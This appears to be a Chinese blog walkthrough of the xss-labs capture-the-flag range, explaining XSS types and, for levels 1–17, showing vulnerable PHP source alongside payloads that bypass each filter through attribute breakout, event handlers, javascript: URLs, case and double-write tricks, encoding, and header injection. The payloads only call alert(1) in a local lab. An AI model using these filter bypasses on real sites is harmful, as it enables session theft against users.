1. 基础环境🚀
本文会讲解xss-labs靶场中每一关卡的内容,可使用phpstudy搭建需要的环境,xss-labs的git下载命令如下:
git clone https://github.com/do0dl3/xss-labs.git
工具:Google浏览器、火狐+Hackbar、Burpsuite等。

2. XSS介绍🔍
2.1. 什么是XSS?
XSS(Cross-Site Scripting,跨站脚本攻击),是一种非常常见的Web应用程序安全漏洞。攻击者利用网站对用户输入信任不足或处理不当的弱点,将恶意的脚本代码注入到原本可信的网页中。
当其他用户访问这个被“污染”的网页时,嵌入的恶意脚本就会在他们的浏览器中悄无声息地执行。
一个简单的比喻:
想象一个建筑工地(网站)。工头(网站程序)让一个外来送货员(用户)顺便写一块指示牌的内容(用户输入)。如果工头不加检查,就直接把送货员写的牌子立在了工地关键位置,而送货员在牌子上写的是 “前方左转是出口”(实际上是悬崖) ,那么其他工人(其他用户)就会因此受到伤害。
XSS的原理与此类似:网站过于信任用户提交的数据,并将其当作自己代码的一部分,导致浏览器执行了恶意指令。
2.2. XSS危害是什么?
XSS的危害极大,攻击者一旦得手,可以在用户浏览器中为所欲为,主要包括:
- 盗取用户敏感信息:最常见的是窃取用户的
Cookie或Session。利用这些信息,攻击者无需密码即可登录你的账户,进行非法操作。 - 钓鱼欺诈:在页面上伪造一个登录弹窗,诱骗用户输入用户名和密码,从而盗取更高权限的账户。
- 劫持用户会话:控制用户的浏览器,以其身份执行任意操作,例如发布微博、发送消息、进行转账等(即“会话劫持”)。
- 网页挂马:在网页中插入恶意代码,导致用户访问时自动下载病毒、木马。
- 破坏页面结构:篡改网页内容,影响网站的正常功能和声誉。
核心危害: XSS攻击直接破坏了用户与网站之间的信任关系,使得浏览器中运行的不是网站提供的可信代码,而是攻击者注入的恶意指令。
2.3. XSS的三种类型
类型一:反射型XSS
- 别名:非持久型XSS
- 特点:恶意脚本来自本次的HTTP请求(通常是URL参数),服务器将其“反射”到响应中。它不会被存储到服务器上。
- 生动比喻:像 “伪造的快递电话”。
攻击者给你打电话(制作一个恶意链接):“你好,有你的快递,请到楼下取一下”(诱骗内容)。你信以为真点击了链接(你下楼),攻击立即发生(被骗)。这个骗局是一次性的,只有点击链接的人会受害。
类型二:存储型XSS
- 别名:持久型XSS
- 特点:恶意脚本被永久地存储在了目标服务器的数据库中(如评论、用户名、文章内容等)。每当用户浏览器请求数据时,脚本就从服务器中被取出并执行。
- 生动比喻:像 “在公共留言板上投毒”。
攻击者将毒药(恶意代码)投进了公共饮水机的桶里(提交到网站数据库)。每个后来接水喝的人(访问网站的正常用户)都会中毒。危害范围极大,且毒药会长期存在,直到被清理。
类型三:DOM型XSS
- 特点:漏洞存在于客户端的JavaScript代码中。服务器的响应是正常的,但客户端的JS在处理数据(如URL片段)时,将其写入了DOM,导致了代码执行。整个过程不经过服务器。
- 生动比喻:像 “一个被篡改的指示牌”。
你拿着一张正确的地图(服务器返回的合法HTML和JS),要前往A地点。路上你看到一个指示牌,上面写着“通往A地请左转”(URL中的
#片段参数)。但你不知道,这个牌子被坏人篡改过(参数被注入恶意代码),你左转后掉入了陷阱(恶意代码执行)。问题出在指示牌和你看指示牌的方式(前端JS逻辑),而不是地图本身。
反射型XSS vs DOM型XSS:核心区别对比表⭐
| 特征对比 | 反射型XSS | DOM型XSS |
|---|---|---|
| 攻击原理 | 服务器直接返回恶意代码 | 客户端JS不安全地操作DOM导致代码执行 |
| 服务器参与度 | ✅ 高度依赖,服务器处理并返回了恶意代码 | ❌ 完全不依赖,服务器返回的是正常、干净的HTML页面 |
| Payload位置 | URL的查询参数(Query String) ?param=<script>...</script> | URL的片段标识符(Fragment) #<script>...</script> |
| 数据流 | 客户端 → 服务器 → 客户端 (恶意代码经过服务器) | 客户端 → 客户端 (恶意代码不经过服务器) |
| 查看源代码 | 在服务器返回的HTML中能看到恶意代码 | 在服务器返回的HTML中看不到恶意代码,需检查DOM或监控网络请求 |
| 简单比喻 | “造假钞并存入银行” (假钞通过银行系统流通) | “直接使用假钞交易” (买卖双方直接交易,绕过银行系统) |
总结对比表格⭐
| 类型 | 比喻 | 存储位置 | 触发方式 | 危害范围 |
|---|---|---|---|---|
| 反射型XSS | 伪造的快递电话 | 不存储 | 用户点击特定恶意链接 | 较低 |
| 存储型XSS | 公共留言板投毒 | 服务器数据库 | 用户访问正常的页面 | 极高 |
| DOM型XSS | 被篡改的指示牌 | 不存储(URL片段) | 用户点击特定恶意链接 | 较低 |
3. 关卡大全🎯
Level1
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
解题方法:
方法是GET请求,通过给name参数赋值js语句实现xss攻击,Payload如下:
<script>alert(1)</script>
实际操作:


Level2
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
核心知识:
htmlspecialchars():对$str进行转义,确保在HTML正文中不会执行恶意脚本。
如果输入是<script>alert(1)</script>,会被转义为:
<script>alert(1)</script>
解题方法:
htmlspecialchars()只保护了<h2>标签内的输出,但表单input的value属性未受保护。我们可以通过闭合value属性,实现对本关卡的攻击,Payload如下:
123"><script>alert(1)</script>//
最终生成的HTML:
<input name=keyword value="123"><script>alert(1)</script>//">
实际操作:



Level3
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
核心知识:
onfocus():是一个事件处理器,当该输入框获得焦点时就会执行代码。
解题方法:
首先代码在value属性处已经使用了htmlspecialchars()进行转义,因此不能使用<>标签,但是可以利用onfocus事件,构建Payload:
' onfocus=javascript:alert() '
实际操作:




Level4
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
解题方法:
发现对<>标签实现了过滤,我们依旧使用onfocus去解决,只不过此时的闭合符号变为了",Payload如下:
" onfocus=javascript:alert() "
实际操作:



Level5
关键源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
核心知识:
javascript::是一种特殊的伪协议,类似于http:、https: 或 mailto:。它允许在HTML属性(a href、iframe src)中直接执行js代码。
解题方法:
代码使用strtolower实现了小写转换,并且将<script和on替换成<scr_pt(防止<>)和o_n(防止onfocus),这次我们使用a href标签,改用javascript: 伪协议,点击超链接时,javascript:alert()会被执行。Payload如下:
"> <a href=javascript:alert()>123</a> <"
实际操作:




Level6
关键源码:
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
解题方法:
代码对一些字符进行了替换,但是没有限制大小写,我们可以构造Payload:
"><SCRIPT>alert(1)</SCRIPT>
实际操作:



Level7
关键源码:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
解题方法:
代码在Level6的基础上增加了大小写的限制,不同的是关卡进行的是过滤而非替换,但也只是进行一次过滤,因此可以采用双写的方式,构造Payload:
"><scscriptript>alert(1)</scrscriptipt>
实际操作:



Level8
关键源码:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
核心知识:
Unicode/HTML实体编码:是字符的另一种表示方式,例如:
a → Unicode: \u0061,HTML 实体: a
< → Unicode: \u003C,HTML 实体: < 或 <
解题方法:
代码使用黑名单、大小写限制、双写限制等一系列的操作,但可以进行Unicode/HTML实体编码实现绕过。Payload如下:
javascript:alert(1)
解码后:
javascript:alert(1)
实际操作:




Level9
关键源码:
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
解题方法:
代码判断strpos的返回值是否完全等于false(即是否未找到http://),依旧采用Unicode/HTML实体编码,末尾再注释掉http://,Payload如下:
javascript:alert(1)//http://
实际操作:




Level10
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
解题方法:
代码对t_link、t_history、t_sort这3个表单实现了隐藏,可以依次尝试突破一下,最后选择t_sort,Payload如下:
t_sort=" onfocus="alert(1)" type="text"
值得一提的是,我们需要将type的类型改为text,然后搭配onfocus,聚焦输入框即可完成绕过。
实际操作:




Level11
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
解题方法:
代码在http的头部加入refer字段,并且对t_ref的value属性进行js代码赋值,这里我们使用火狐的Hackbar工具,Payload如下:
" onfocus="alert(1)" type="text"
实际操作:



Level12
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
解题方法:
本关卡的解题方法和Level11是一样的,只不过操作的是t_ua的value属性,Payload如下:
" onfocus="alert(1)" type="text"
实际操作:



Level13
关键源码:
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
解题方法:
本关卡的解题方法和Level12如出一辙,只不过操作的是t_cook的value属性,Payload如下:
" onfocus="alert(1)" type="text"
实际操作:

当执行的时候,我发现页面并没有搜索框,也就没有后续了,个人怀疑是这个Hackbar插件的问题,这里提供另外2种操作:
第1种:使用Burpsuite


第2种:使用浏览器



Level14
解题方法:
本关卡通过修改iframe调用的文件来实现xss注入,由于调用的文件地址失效,无法进行后续测试,暂且跳过。
Level15
关键源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
核心知识:
ng-include:是AngularJS框架中的一个指令,用于动态加载并嵌入外部HTML片段到当前页面中。
onerror:是HTML元素的事件处理器,当元素在加载或执行过程中发生错误时,浏览器会自动触发它。它通常用于img、script、link等资源加载类标签,但也可以被滥用进行XSS攻击。
解题方法:
本关卡引入Level1的绝对路径,具体地址以自己的为准,构造的Payload如下:
src="http://localhost:8083/xss-labs/level1.php?name=<img src=1 onerror=alert(1)>"
- src=1:指定图片路径为1(一个无效的路径,确保加载失败)。
- οnerrοr=alert(1):当图片加载失败时,触发onerror事件,执行alert(1)。
实际操作:


Level16
关键源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
核心知识:
: 是HTML实体编码,表示非换行空格。
解题方法:
代码对空格进行了实体编码,不过可以使用%0A这样的URL编码实现绕过,Payload如下:
<img%0Asrc=1%0Aonerror=alert(1)>
实际操作:



Level17
关键源码:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
核心知识:
onmouseover:当用户的鼠标指针悬停在元素上时,浏览器会自动触发它。它是js与用户交互的重要方式之一,但也常被滥用于XSS攻击。
解题方法:
本关卡我们使用onmouseover,先使用空格作为value属性的结束,再使用οnmοuseοver=alert(1) 解析为新的HTML属性。
onmouseover=alert(1)
实际操作:



Level18
解题方法:
操作和Level17是一致的,就不再展开了。
Level19
关卡涉及到flash触发的XSS漏洞,由于flash被停用,所以先不做了。
Level20
同上。
592

被折叠的 条评论
为什么被折叠?



